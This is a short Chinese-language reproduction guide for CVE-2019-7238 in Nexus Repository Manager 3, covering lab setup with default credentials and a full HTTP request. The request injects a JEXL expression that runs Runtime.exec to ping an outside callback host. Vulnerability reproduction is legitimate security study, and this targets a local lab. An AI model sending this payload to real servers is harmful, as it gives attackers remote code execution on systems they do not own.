0x00 参考链接
https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019
0x01 影响版本
Nexus Repository Manager OSS/Pro 3.6.2 版本到 3.14.0 版本
0x02 复现环境搭建
操作系统： windows 10
nexus版本：Nexus Repository Manager 3.14.0-04
下载链接：
https://help.sonatype.com/repomanager3/download/download-archives---repository-manager-3
nexus运行需要安装jdk环境，而且jdk需要去oracle下载，openjdk不可以
下载完成后，解压nexus，在nexus-3.14.0-04\bin，执行
nexus.exe /run
直接访问localhost:8081 帐号密码 admin/admin123
0x03漏洞复现
首先需要上传一个资源，而真实环境则不需要，因为真实环境已经上传了assert
然后访问content selectors
抓包修改：
POST /service/extdirect HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:8081/
X-Nexus-UI: true
NX-ANTI-CSRF-TOKEN: 2b482005-c1c3-48b6-942f-70e5a5f6d773
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 398
Cookie: pgv_pvi=5464665088; _ga=GA1.1.452998845.1550474860; _gid=GA1.1.653552585.1550474860; NX-ANTI-CSRF-TOKEN=2b482005-c1c3-48b6-942f-70e5a5f6d773; NXSESSIONID=7bd0f929-d72f-407a-bc17-76c2dd98c6cf
Connection: close
{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"1.class.forName('java.lang.Runtime').getRuntime().exec('ping t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":11}需要修改的点： {"property":"type","value":"jexl"}
"value":"1.class.forName('java.lang.Runtime').getRuntime().exec('ping t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org')"
